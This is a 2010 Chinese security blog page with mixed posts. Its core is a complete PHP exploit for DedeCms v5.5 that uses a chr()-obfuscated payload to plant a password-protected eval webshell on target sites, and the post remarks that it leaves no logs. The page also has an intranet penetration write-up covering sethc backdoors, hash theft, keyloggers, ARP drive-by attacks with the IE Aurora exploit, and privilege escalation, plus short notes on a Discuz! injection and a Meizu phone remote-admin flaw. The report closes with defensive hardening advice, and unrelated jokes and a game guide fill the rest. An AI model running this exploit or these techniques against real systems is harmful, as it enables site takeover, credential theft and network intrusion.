Chinadu`s Blog

Discuz! 7.2 最新注入漏洞分析与利用

Chinadu — Fri, 12 Mar 2010 03:53:51 +0000

在最新的discuz! 7.2中自带了一个新的应用程序插件manyou。恰恰在这个新插件中，没有对传入的参数进行检查，在GPC为off的情况下，导致注入漏洞的产生。
漏洞分析：
文件./manyou/sources/notice.php

DedeCms v5.5 0day

Chinadu — Wed, 10 Mar 2010 01:53:34 +0000

官方暂时没出补丁,不过我估计快了
执行成功会在在data/cache下生成t.php一句话小马
密码t,官方最新GBK和utf-8版本存在此漏洞,
此exp得特点是生产t.php得时候不留日志

print_r('

+----------------------------------------+

dedecms v5.5 final getwebshell exploit

+----------------------------------------+

');

if ($argc < 3) {

print_r('

+----------------------------------------+

Usage: php '.$argv[0].' host path

host: target server (ip/hostname)

path: path to dedecms

Example:

php '.$argv[0].' localhost /dedecms/

+----------------------------------------+

');

exit;

}

error_reporting(7);

ini_set('max_execution_time', 0);

$host = $argv[1];

$path = $argv[2];

$post_a = 'plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97)

.chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104)

.chr(101).chr(47).chr(116).chr(46).chr(112).chr(104)

.chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112)

.chr(104).chr(112).chr(32).chr(101).chr(118).chr(97)

.chr(108).chr(40).chr(36).chr(95).chr(80).chr(79)

.chr(83).chr(84).chr(91).chr(39).chr(116).chr(39)

.chr(93).chr(41).chr(59).chr(63).chr(62));/*';

$post_b = 'needCode=aa/../../../data/mysql_error_trace';

$shell = 'data/cache/t.php';

get_send($post_a);

post_send('plus/comments_frame.php',$post_b);

$content = post_send($shell,'t=echo tojen;');

if(substr($content,9,3)=='200'){

echo "\nShell Address is:".$host.$path.$shell;

}else{

echo "\nError.";

}

function get_send($url){

global $host, $path;

$message = "GET ".$path."$url HTTP/1.1\r\n";

$message .= "Accept: */*\r\n";

$message .= "Referer: http://$host$path\r\n";

$message .= "Accept-Language: zh-cn\r\n";

$message .= "Content-Type: application/x-www-form-urlencoded\r\n";

$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";

$message .= "Host: $host\r\n";

$message .= "Connection: Close\r\n\r\n";

$fp = fsockopen($host, 80);

if(!$fp){

echo "\nConnect to host Error";

}

fputs($fp, $message);

$back = '';

while (!feof($fp))

$back .= fread($fp, 1024);

fclose($fp);

return $back;

}

function post_send($url,$cmd){

global $host, $path;

$message = "POST ".$path."$url HTTP/1.1\r\n";

$message .= "Accept: */*\r\n";

$message .= "Referer: http://$host$path\r\n";

$message .= "Accept-Language: zh-cn\r\n";

$message .= "Content-Type: application/x-www-form-urlencoded\r\n";

$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";

$message .= "Host: $host\r\n";

$message .= "Content-Length: ".strlen($cmd)."\r\n";

$message .= "Connection: Close\r\n\r\n";

$message .= $cmd;

$fp = fsockopen($host, 80);

if(!$fp){

echo "\nConnect to host Error";

}

fputs($fp, $message);

$back = '';

while (!feof($fp))

$back .= fread($fp, 1024);

fclose($fp);

return $back;

}

?>

魅族M8手机远程管理权限漏洞

Chinadu — Mon, 01 Mar 2010 01:58:04 +0000

魅族M8手机会打开80端口实现远程Web管理（Windows CE 远程管理工具），但是该管理程序在默认情况下未设置密码，远程访问者可以通过WiFi或者其他网络方式访问到手机的80端口设置密码并打开共享，远程访问者可以通过共享上传下载手机里的文件，同时也可以通过覆盖exe或写入启动文件夹的方式运行手机木马

No Related Post

内网渗透案例

Chinadu — Mon, 01 Mar 2010 01:51:11 +0000

一. 本次目标的环境.

1.1 内网网络拓图以及平台介绍.

1.2 渗透测试的目的.

1.3 此次渗透目标内容和范围.

1.4 规避的风险.

二. 此次内网渗透过程.

2.1 内网突破（Socket端口转发以及终端连接）.

2.2 系统口令获取,Hash破解,管理软件密码破解.

2.3 社会工程学以及密码习惯组合字典扫描收集管理信息.

2.4 内网常用的IPC$共享入侵.

2.5 ARP探嗅以及ARP挂马突破员工PC.

2.6 ERP内部员工办公系统挂马（Internet Explorer Aurora Exploit 2010-01-17）利用.

2.7 利用同步数据软件进行渗透 .

2.8 利用IIS可写权限配合IIS6.0文件后缀名解析漏洞进行突破.

2.9 利用Windows XP 2K远程,local Exploits,溢出进行权限获取和提升.

3.0 以上方法配合反弹远程控制木马配合.

3.0.1 域内的HASH注入攻击突破（未实现成功）

三. 目标系统安全加固解决办法总结.

3.1 访问控制.

3.2 电信和网络安全.

3.3 安全管理与实践.

3.4 应用和系统开发安全.

1.1

内网网络拓图以及平台介绍

目标网络规模为一个三层交换环境

IP地址分布以及业务分类

192.168.100.X-192.168.103.X 数据内部员工办公网路

176.12.1.X-176.12.15.X 为Web于数据库支持网路

192.168.11.X-192.168.11.255 为空闲网络区域

总共分为三个域 shjt cyts ccit 共467台计算机

以上信息是在渗透过程中得到的

为了方便我改写了一个批处理

代码为

============================domain.bat=======================

@echo off

setlocal ENABLEDELAYEDEXPANSION

@echo =====domain:%%J========

@FOR /F "usebackq eol=; delims=, " %%i in (`net view /domain:%%J ^|findstr ""`) DO (

@FOR /F "usebackq eol=; tokens=1,2,3* delims=" %%a in (`echo %%i`) do (

@FOR /F "tokens=1,2,3,4* usebackq delims=: " %%K IN (`@ping -a -n 1 -w 100 %%a ^|findstr "Pinging"`) do (

@echo %%L %%M

)

echo %0

==============================end===================================

系统类型.安装软件版本以及类别

Windows xp 2K以及Linux

Mssql2000 2005 Sybase IIS5.0 6.0 内网系统全部采用麦咖啡企业级个别伺服器安装了数据同步软件

1.2

渗透测试的目的

渗透测试一方面可以从攻击者的角度，检验业务系统的安全防护措施是否有效，各项安全策略是否得到贯彻落实；另一方面可以讲潜在的安全风险以真实事件的方式凸现出来，从而有

助于提高相关人员对安全问题的认识水平。渗透测试结束后，立即进行安全加固，解决测试发现的安全问题，从而有效地防止真实安全事件的发生

1.3

此次渗透目标内容和范围.

此次渗透的为内容为目标数据库服务器以及员工办公PC..

1.4

规避的风险

此次渗透是在不影响目标业务工作的前提下进行测试，个别渗透测试手法已在本地搭建测试完成之后再应用到目标，以保证目标业务正常，（如ARP探嗅 ARP ERP办公系统挂马突破，其中IE0day利用测试已本地通过不会造成目标员工办公PC崩溃或者出现异常） .

此次内网渗透过程

2.1

内网突破（Socket端口转发以及终端连接）

通过外網web服務器222.11.22.11(192.168.22.34)(假设IP）上的Web Shell，连接内网ip為192.168.22.35的Mssql2005服务器, 当前账户权限为Sa.（账户密码通过查看Web.config得到）Sa账户是Mssql的默认的最高权限账户由于MSSQL服务是以SYSTEM权限运行的，而MSSQL刚巧提供了一些能够执行命令的函数加入能成功利用，会得到一个SYSTEM权限，所以我认为这会有很大机会让我利用成功（如 xp_cmdshell xp_dirtree xp_fileexistxp_terminate_process sp_oamethod sp_oacreate xp_regaddmultistring xp_regdeletekey xp_regdeletevalue xp_regenumkeys xp_regenumvalues sp_add_job sp_addtask xp_regread xp_regwrite xp_readwebtask xp_makewebtask xp_regremovemultistring sp_OACreate）由于SQL 服务器处于硬防之下，一般在防火墙做的限制都是禁止外部连接内网，没有限制由内置外的连接.我们通够Socket端口转发来进行突破.本地监听如图

本地Mstsc.exe host 127.0.0.1:88

2.2系统口令获取,Hash破解,管理软件密码破解

这之前替换sethc.exe为cmd.exe程序-系统做放大镜后门得到一个CMD Shell为渗透提供方便（在渗透完成之后所有的目标文件都已经恢复）通过Cmd Shell连接本地Ftp Server Get Hash.exe(系统口令哈希值获取工具）VNC4密码获取工具GUI版到当前主机，【VNC4的密码是保存在注册表中的地址为：HKEY_LOCAL_MACHINESOFTWARERealVNCWinVNC4password 】抓取密码之后通过FTP PUT返回本机.抓取没有出现提示14位以上，直接通过在线的LM密码查询网站进行查询如：

两个常用的Hash在线破解网站

http://cracker.offensive-security.com/index.php

http://www.objectif-securite.ch/en/products.php

得到系统当前主机管理员密码为ccit2006 VNC4密码为如下图

2.5 运用社会工程学以及密码习惯字典进行扫描收集管理信息

比如运用net group "domain admins" /domain net localgroup administrators这些命令找到DC管理并破解密码遇到这样的域我首先想到的是如何找到技术员和运维技术的计算机，这些计算机有可能保存这这个内网众多的敏感信息.

查看TCP以及端口连接信息，记录那些IP与当前的数据库服务器的数据库端口进行连接以及其他的服务器软件连接信息然后进行进一步渗透.

可以使用 XSCAN（使用nessus nasl脚本更新X-Scan漏洞库）或者俄罗斯商用SSS扫描器对内网做一个完全的安全扫描

收集管理密码.数据库账户密码,Web后台管理密码.,硬盘内留下的以往的各类密码，分析管理员使用密码的习惯以及组合方式.组合密码字典扫描C类地址.查看IE缓存留下的Cookie信息 .验证管理员留下的连接其他终端留下的痕迹是否有效，并记录.以便组合成针对目标网络的字典.如发现管理留下的连接其他伺服器远程桌面的痕迹，验证并尝试用当前主机密码登录.如失败，我留下一键盘记录器，如下图，支持ASP空间收信。

分析管理登录日志，以便及时获取管理信息.或者安装其他内核级的键盘记录器以便获取管理使用的其他密码，方便渗透. 组合字典进行C类扫描，如图

2.4 内网常用的IPC$共享入侵

IPC$共享入侵时渗透公司企业内网一个比较快速的途径，（这也是企业内部员工密码安全意识薄弱的弱点）为了增快渗透速度我决定放弃手工而选用图形界面化的工具，结合上一步骤扫描.,在上一步骤为了避免扫描器过多占用系统资源导致当前主机不稳定的情况，在选择扫描模式和线程上注意调整，适应当前主机的承载能力，如图，进行的IPC$共享以及弱口令扫描利用

在以上步骤上为了方便我采用为存在漏洞的机器植入反弹木马

2.5 ARP探嗅以及ARP挂马突破员工PC.

由于目标ARP设置存在安全缺陷，导致可以使用ARP探嗅和欺骗得到敏感数据以及网页挂马我们选择的是该目标内网员工的ERP办公系统。在这次探嗅中我选用了两种大白鲨和cain （大白鲨截图丢失）如图

网页木马选择的是2010-01-17发布的IE漏洞EXP。成功获取到部分员工Windows XP权限

2.6 ERP内部员工办公系统挂马（Internet Explorer Aurora Exploit 2010-01-17）利用

在某些时候ARP挂马不一定生效，既然有了内部员工ERP办公WEB的权限那我就试试最新公布的Internet Explorer Aurora Exploit 为了规避风险问题，我决定在本地测试Internet Explorer Aurora Exploit 的稳定性，保证代码不造成目标员工PC电脑IE崩溃或者是程序异常（员工PC电脑的浏览器版本是在IPC$获取员工权限后查看所得）以下是部分测试截图，目前metasploit3.34已经更新了EXP。

www.smxiaoqiang.cn

2.7 利用同步数据软件进行渗透

很多企业内网都安装了为数据提供同步的软件，但是安全配置上的失误导致入侵者可以通过这个将渗透木马病毒延伸到各个角落，利用文件数据同步软件进行渗透的思路就是在同步的数据或者文件中篡改或者添加可以获得SHELL的文件如，Web asp PHP木马或者其他的补丁程序.（由于当时的图片已经丢失，就不做具体说明了）

2.8 利用IIS可写权限配合IIS6.0文件后缀名解析漏洞进行突破.

在2009年初IIS6.0就被公布出了存在文件后缀名解析漏洞，格式为x.asp;.jpg，很多的IIS6.0可写权限都是put到目标可以move成Web Shell的时候出现失败的问题，我细心测试后发现可以结合这两个鸡肋做点文章。那就是move后缀时候用x.asp;.jpg来实现.如图。IIS权限和安全配置失误一直是很多粗心大意的管理容易犯的问题

成功得到Web Shell 然后通过查看网站数据库配置信息来继续收集目标账户密码信息。

2.9 利用Windows XP 2K远程,local Exploits,溢出进行权限获取和提升

在上一步骤渗透得到一Web Shell，发现本机没有安装麦咖啡杀毒软件没有安装可供提升权限的第三方软件，通过systeminfo查看目标补丁信息如图

我通过Churrasco.exe来提权.这个loacl Exploits是2008-06发布的，相比之下成功率较高

也可以利用一些新的系统软件漏洞进行权限提升针对这个系统我只找到这个可以

提升权限成功如图

2.9 以上方法配合反弹远程控制木马配合.

以上各类渗透手法的目的是获取权限，为了方便我使用远程控制软件，IPC$植入反弹木马MSSQL连接上传植入木马执行.local Exploits 提权执行反弹木马都是可以的（我不赞成使用黑客工具，这次渗透式经过对方允许使用此类软件.这些软件会在对方系统植入档案改变设定.完成之后已经彻底清除卸载恢复）

在这次渗透中共获取计算机权限52个，这其中达到了我们渗透的目标，内部员工办公PC，客户数据库等等，公司内部的MAIL邮箱对付一个企业的发展来说做必要的渗透测试并对系统，数据加固是很重要的，部分如图：

在渗透测试完成之后，所以在过程中利用到的记录器以及工具反弹木马都已经删除，系统恢复原状.此次渗透中获取的一些商业信息已完全删除.

并提交报告于目标的网络管理员。

目标系统的安全加固和安全问题和解决参考

3.1 访问控制

1. 防火墙访问控制策略配置不完善，没有完全发挥边界防护的作用，内网数据存在泄露到外网的可能。

解决办法：

根据业务和安全需求调整访问控制策略，去掉冗余的规则，做到最小化原则。如细化防火墙对应用服务区域的访问控制策略等。

2. 没有修改网络设备的默认口令，可能造成非授权人员的访问。

解决办法：

设置一个足够复杂的强口令并定期更换，同时在交换机上做访问控制规则，对登录设备的IP进行限制。

3. 防火墙的管理仅使用一个超级用户。

解决办法：

根据业务需求，重新分配用户和权限，做到权责分明。

4. 操作系统帐号/口令策略采用默认设置

解决办法：

加强帐号/口令策略安全配置，增强当前服务器用户口令强度，并加强对特权用户远程登录的控制和管理，使用SSH加密方式对服务器进行远程管理，以防用户/口令信息泄露。

员工密码安全意识薄弱，可以对员工进行安全培训

5. 目标系统管理员访问控制存在安全隐患

解决办法：

管理员（内部员工）访问目标系统应设定严格的访问控制措施，如基于IP地址，MAC，只允许管理员（内部员工）在设定的IP地址对系统进行操作，避免因管理员（内部员工）帐户/密码泄漏给系统带来的威胁。

3.1电信和网络安全

6. 防火墙没有启用足够的抗攻击等防护功能

解决办法：

启用防火墙必要的抗攻击功能。

1、可在根据日志审计的统计数据辅助设置开启抗攻击功能的阀值,FW上每个访问控制规则的日志也要接入，但防火墙抗网络攻击的能力和范围有限。

2.或者在防火墙前面架设电信级IPS，可抵御大部分网络攻击和拒绝服务攻击

3.2安全管理与实践

7. 部分设备还没有开启日志审计功能，使得潜在的攻击事件不具备追溯性

解决办法：

尽快部署专业日志审计服务器实现对设备日志的收集、存放和审计。

8. 互联网区没有划分安全域

解决办法：

启用核心交换机第三层功能，根据业务需求划分VLAN，并在VLAN之间实施适当的访问控制。

1. 在交换机上根据业务类型或者功能划分VLAN，可缓解业务高峰时的网络风暴的威胁，但须事先做好路由规划

2. 在各个安全域边界架设网络防火墙来防止因单一安全区域的蠕虫木马的扩散。

3. 在交换机上启用IP策略设定和禁止内部访问外部陌生地址.

3.3应用和系统开发安全

9. 操作系统没有关闭默认启动的冗余服务

解决办法：

根据业务需要，只开启必须的服务，关闭冗余的服务。避免冗余服务所带来的安全隐患

10. 数据库监听器配置

解决办法：

修改监听器配置，为监听器配置口令，这样对监听器进行操作时必须先输入口令进行认证；修改监听器配置参数，将“ADMIN_RESTRICTIONS”设为“ON”，这样在监听器运行时将禁止通过命令对监听器进行任何修改，必须手动修改监听器配置文件 listener.ora才可以对监听器配置进行修改。

11. 数据库当前没有启用审计

解决办法：

启用数据库的审计功能或者部署专业的数据库审计系统对数据库系统管理、安全管理、数据维护、用户登录等事件进行审计，并由专人负责数据库的审计管理。

为了避免数据库开启监听功能后带来的性能问题，可以部署数据库安全审计设备。

12. 管理服务器存在高风险漏洞

解决办法

对用于集中对应用服务器和数据库服务器进行远程管理的PC服务器安装最新的安全补丁。

1. 在网络中架设补丁分发管理系统

2. 在网络中架设漏洞扫描器，可及时了解网络中的设备的漏洞情况

3. 对麦咖啡企业级防火软件设定管理密码，防止他人更改安全设置

13. 目标系统登录密码安全策略控制不严

解决办法

此次目标系统中应提高密码复杂度的要求，对用户密码进行检查，以提高用户密码的安全级别，如必须是数字和字母的组合等；定义可尝试输入密码的次数和对尝试输入密码采取相应安全策略，如连续输入3次错误密码，将锁定用户一小时等，防止恶意人员对用户的密码暴力破解。

14. 目标WEB系统异常输入检验机制存在缺陷

解决办法

根据实际情况对输入参数进行严格检查，包括输入字符的长度、类型，并对一些特殊字符进行过滤。在 WEB服务器前面架设WEB应用防火墙可以定义非法字符的过滤策略。

15. 交换机使用默认的SNMP连接串

解决办法

设置一个具备一定复杂度的SNMP连接串。

1. 在交换机上修改。命令参考：

Router(config)#snmp-server community public/private RO

2. 在网络中架设漏洞扫描器可以检测出该漏洞

3.4加密

16. 目标系统的通信未采取加密措施

解决办法

对目标WEB数据传输进行加密，如采用https方式。更高安全级别考虑，建议考虑使用SSL vpn或HTTPS解决方案。

一. 目标系统安全加固解决办法总结

渗透测试发现的问题中，大多数是可以通过对现有的网络设备、安全设备、WEB数据库、WEB服务器、中间件等进行配置优化调节来解决的。但是仍然有几个问题是目前无法通过现有网络资源解决的，我们总结了一下大概有以下三点：

加密：可以对目标的数据传输进行加密

应用与系统安全：目标WEB系统异常输入检验机制

应用与系统安全：数据库安全审计

3.1 加密

目前解决目标数据传输进行加密有两种办法：

在WEB应用系统软件上面开启HTTPS传输功能。

HTTPS是以安全为目标的HTTP通道，简单讲是HTTP的安全版。它的主要作用可以分为两种：一种是建立一个信息安全通道，来保证数据传输的安全；另一种就是确认网站的真实性。HTTPS协议是由SSL+HTTP协议构建的可进行加密传输、身份认证的网络协议要比http协议安全。

但是我认为在WEB应用软件上面开启这项功能并不适用目标的员工办公系统以及为客户提供服务的系统。因为HTTPS服务器是需要对传输的数据加密和解压的，大规模的部署势必会严重影响WEB服务器的运行性能，最终导致服务器拒绝服务。

在WEB应用服务器前架设 SSL VPN加速器。

总结

古话说的好“堡垒最容易从内部突破”此次渗透案例正是诠释了这句话的.

为什么近几年公开的技术交流越来越少

Chinadu — Mon, 01 Mar 2010 01:42:30 +0000

这个问题很复杂，说是说不清楚的，只能扯一扯。先扯个大概吧。

首先，得明确一点：任何人都没有义务公开自己的研究，任何人都没有权利要求别人公开自己的研究——尤其是那些自己没公开过什么的人。不过似乎不少人都有自己的一套理论，能够找出充分的理由来为此义愤填膺，就像七八岁的小男孩得不到想要的游戏机一般义愤填膺。

从我这些年的经验来看，在英语世界里，北欧技术交流气氛最好。其次是中欧，再次西欧，美国排最后。为什么呢，因为像瑞士、瑞典、芬兰这样的披着资本主义狼皮的社会主义国家里，在超市干三年收银员就可以买栋房子，人们永远不担心没钱看病，不担心失业。所以，人家搞技术的动力基本上都是马斯洛四层以上，咱们这样还得兼顾三层以下的，跟人家没法比。

但是咱们毕竟也是社会主义国家，虽然是初级阶段，但大家好歹都还不至于挣扎在一二层，所以贴点文章，聊点问题，也很合逻辑。但是这几年情况有有些变化。

首先，一个根源问题是整个信息安全技术的基础部分已经差不多都码完了。各种理论和技术都很成熟，该有的文档也都有了。再要搞点什么东西，基本上都是建立在一堆参考资源之上的实际应用。而越接近实用的东西，越不会有人愿意往外放。这个道理很容易理解：你随便到哪个书店都能买到讲E=MC²、原子裂变，甚至如何浓缩铀等等这些高深理论的书，但是绝对买不到哪怕制造原子弹外壳的具体配方。

如果整个大环境还保持在2003年之前的状态，可爱的Hacker们倒也不会太在乎实用不实用。但是世道毕竟变了。一部分人开始挣黑钱，他们当然就不会再跟别人分享发家致富的秘方。而另外一些没去挣黑钱的，也不会愿意把自己的东西白白送给别人拿去发家致富，宁可搞出来自娱自乐，然后烂在地里。于是，最近几年虽然国内搞这玩意的人多了，水平高的人也多了，但是真正高水平的公开交流却少了。

客观原因摆在这里，所以抱怨毫无意义，绝对不会改变什么。

不过我前面也已经说过了，其实这一块儿的基础文档已经很齐备了，无论你想学什么，都可以找到资料。除非你并不真的想学，只是给自己学不会找个理由而已。

让千千静听不再弹出广告

Chinadu — Mon, 01 Mar 2010 01:34:05 +0000

1、打开千千静听的安装目录，删除里面的"info"文件夹 (如果有的话)
2、新建一个文本文档，然后将其命名为"info"，注意不要保留任何扩展名，不要保留成 “info.txt”喔。
Windows默认情况下是隐藏了扩展名的，显示扩展名的方法：打开资源管理器>工具>文件夹选项> 查看>高级设置>去掉“不显示已经文件类型的扩展名”前面的勾确定即可.

这样就不会再弹出广告了，一切清静了。其实这个原理很简单，就是让千千静听不能创建名为info的文件夹，那个文件夹的作用是保存弹出广告的。

《阿凡达》告诉我们：谁胯下的鸟大就听谁的

Chinadu — Mon, 22 Feb 2010 01:43:53 +0000

1.《孔子》观感：这已经不是一个子多曰几下就能忽悠人的年代了。
2. 我举报一个又色情，又低俗，又反华的艺人名字——黄日华。请组织部敏感词他！
3.从今天起，做一个高尚的人。再不发负面状态。上网就扫黄，出街就反日。再穿一身黑装，面朝烈士，含泪湿嚎。
4.小时候/低俗是一盘小小的磁带 /我在这头/ 丽君在那头；后来啊/ 低俗是一团窄窄的纸条 /我在后头/ 女生在前头；长大后/ 低俗是一张薄薄的光盘 /我在这头/ 电视在那头；而现在/ 低俗是一条短短的信息 /我在里头/ 警察在外头。
5. 春哥之后的又一防挂科神作——挂柯南，挂科难。如果你有科比的海报，就别挂柯南，否则“不挂科比挂柯南”；单独使用科比海报亦可，因为“挂科比不挂柯南”！
6.10086因发送宣传短信“一次性交纳五百元送话费”，被封号！
7.80后者，未及义务教育之免费，不见高等学校之分配，适值扩招，寒窗数载，二十三乃成。觅生计，背井离乡，东渡苏浙，南下湖广，西上志愿，北漂京都，蓄十万。楼市暴涨，遂投股市，翌年缩水。气急入院，无医保而返。友怜之，送三鹿，饮之，卒。
8.韩寒：从今天起，做一个低俗的人，劈腿翻墙，周游世界；从今天起，污染粮食和蔬菜，我有一个房子，面向大海，却被强拆。
9.所谓幸福的事：1.不用拼爹竟找到好工作；2.不用献身竟遇到好导演；3.不用买房竟娶到好媳妇；4.不用送礼竟遇到好大夫；5.不用鉴定竟有了亲儿子；6.不用行贿竟得到好生意；7.不用装逼竟交到真朋友；8.不用认爹竟遇到好领导。
10.考试是指行为人以强迫他人读书为目的，以书面形式摧残他人身心的行为。有以下三种情形之一的，法定刑加重：1.考试致人挂科、重修或以挂科、重修相威胁的；2.考试难度过高致人身心受损的；3.考前不划重点、不划范围、不给方向的……
11.整个学期全荒废，临近考试全心碎，一周时间全没睡，考试之前全在背，走进考场全崩溃，拿到卷子全流泪，背的东西全不考，考的东西全不会。
12.《阿凡达》就是人族挖暗夜的矿，暗夜没有攀技术树，前期被压制，基地树被干掉，暗夜只能出英雄，升级操控火龙，暴骑兵飞鸟，人族出动全部兵力，陆空配合强推暗夜，暗夜经过恶战，眼看就要GG了，突然出作弊器，地图上所有中立生物进攻人族，结果就是人族被翻盘。
13.曹操出土后答记者问：你死在洛阳，为何选在安阳建墓穴？曹：首都房价太贵，二线城市便宜。问：陪你沉睡千年的女人到底是谁？答：嘘，她是貂蝉，字海藻。问：最后可否谈谈你对这个新时代的看法？答：孤已用名字回复。
14.我用一麻袋的钱上大学，换了一麻袋书；毕业了，用这些书换钱，却买不起一个麻袋！
15.宅男费纸，宅女费电！
16.《阿凡达》告诉我们：谁胯下的鸟大就听谁的。
17.昨日，李宇春在湖南长沙发布记者会，会上首次正面回应了网络上广为流传的“信春哥，得永生”等热门词句。李宇春说：“你们信我也好，不信我也好，你们总归都要死的。”在场的许多记者都流下了感动的眼泪！
18.同学家吃的晚饭，回家发了短信和他说“你妈的红烧肉棒极了”。结果今天手机不能发短信了。
19.小爷缺钱缺女人缺心眼,就是他妈的不缺德！
20.上海自来水来自海上，日照老年人年老照日，大波美人鱼人美波大，明天到操场操到天明，哥曾信佛但佛信曾哥，人过大佛寺佛大过人！
22.丰胸的四种结果：1.大不一样 2.不大一样 3.一样不大 4.不一样大
23. 百度被黑的真相：因为伊朗兄弟上百度买火箭筒，结果被竞价排名的假货给骗了。
24.婚期将到，国内兄弟，有钱公寓，没钱蜗居，望长城内外，大厦高楼，工地上下，人浪滔滔，早起晚睡，达旦通宵，丈母娘说：买个房子才达标。须钞票，看人山人海，一房难搞。楼价如此虚高，引无数英雄竞折腰，昔秦皇汉武，见此摇头，唐宗宋祖，更是没招，一代天骄，成吉思汗，只好住在蒙古包！

AVA战地之王三大兵种技能、勋章获得方法

Chinadu — Sun, 21 Feb 2010 02:09:28 +0000

在ava游戏中兵种是有“技能”和“勋章”的设定，而不同兵种“技能”又有所不同，　　为了让玩家更全面的了解ava的 “技能”和“勋章”概念，下面就具体介绍一下：
一如何查看ava游戏中不同兵种技能
玩家在“游戏大厅”→“我的信息”→“技能信息”→“兵种技能”就可以查看所在账号中各个兵种的技能获得情况。=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/020923r1V.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/020923r1V.jpg" border="0" alt="" />

二如何获得ava游戏中不同兵种的技能
1侦查兵技能的获得方式
=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/020923oUe.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/020923oUe.jpg" border="0" alt="" />

=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/020924Uss.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/020924Uss.jpg" border="0" alt="" />

=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/020924S2n.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/020924S2n.jpg" border="0" alt="" />

=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/020924lpf.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/020924lpf.jpg" border="0" alt="" />

=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/020924cK2.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/020924cK2.jpg" border="0" alt="" />
侦察兵技能全部获得后，就会得到“侦察兵队长纪念章”并获得5000游戏币
=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/0209243bl.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/0209243bl.jpg" border="0" alt="" />
2步枪兵技能的获得方式
=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/020925EKv.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/020925EKv.jpg" border="0" alt="" />

=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/020925uYo.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/020925uYo.jpg" border="0" alt="" />

=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/020925z8G.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/020925z8G.jpg" border="0" alt="" />

=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/020926972.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/020926972.jpg" border="0" alt="" />

=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/020926iLG.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/020926iLG.jpg" border="0" alt="" />
步Qiang技能全部获得后，就会得到“步**队长纪念章”并获得5000游戏币
=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/020926xN7.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/020926xN7.jpg" border="0" alt="" />
3狙击手技能的获得方式
=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/0209263WO.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/0209263WO.jpg" border="0" alt="" />

=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/02092610i.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/02092610i.jpg" border="0" alt="" />
=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/020927XOb.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/020927XOb.jpg" border="0" alt="" />

=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/020927jDn.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/020927jDn.jpg" border="0" alt="" />

=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/0209273hE.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/0209273hE.jpg" border="0" alt="" />
狙击手技能全部获得后，就会得到“狙击手队长纪念章”并获得5000游戏币
=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/020927Tgc.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/020927Tgc.jpg" border="0" alt="" />
三ava游戏中不同兵种的重要技能解析
1侦察兵
相较另外两个兵种侦察兵的技能获得比较容易，但是一定要注意“战场了解术”是侦察兵最有用的的技能， “高级战场了解术”与“基本战场了解术”的分别是前者小地图的战场可视范围更大。
=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/0209273eE.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/0209273eE.jpg" border="0" alt="" />

2步Qiang手　　步Qiang手的技能是最难练的，尤其是“投掷训练”和“瞄准射击”中的“手雷伤害”和“爆头”很多时候运气占很大的成分。但是步**的技能中的“防御术”和“致命伤害防御术”又恰恰是所有兵种最实用的技能，下面有一组公式仅供玩家参考。　　“致命伤害防御术”　　1.头盔防御技能:能增加头盔的吸收能力与耐久度，经过测试基本为15%左右　　2.2:高级头盔防御技能:能增加头盔的吸收能力与耐久度,经过测试基本为30%左右　　“防御术”　　1.初级防御技能:能增加武器吸收**伤害的效果,经过计算为2%左右　　2.中级防御技能:能增加武器吸收**伤害的效果,经过计算为5%左右　　3:高级防御技能:能增加武器吸收**伤害的效果,经过计算为8%左右

3狙击手　　狙击手的技能获得方式介于其它两种兵种之间，只是“***训练”需要切换到***射杀这对擅长远距离狙击手们来说是不小的挑战。

四ava游戏勋章系统

玩家在“游戏大厅”→“我的信息”→“勋章信息”中就可以查询到游戏人物的勋章信息，ava勋章系统主要由三部分组成：

1技能勋章
=700) window.open('http://www.4shell.org/wp-content/uploads/images/2010/02/020928sDS.jpg');" src="http://www.4shell.org/wp-content/uploads/images/2010/02/020928sDS.jpg" border="0" alt="" height="700" />

2英雄勋章
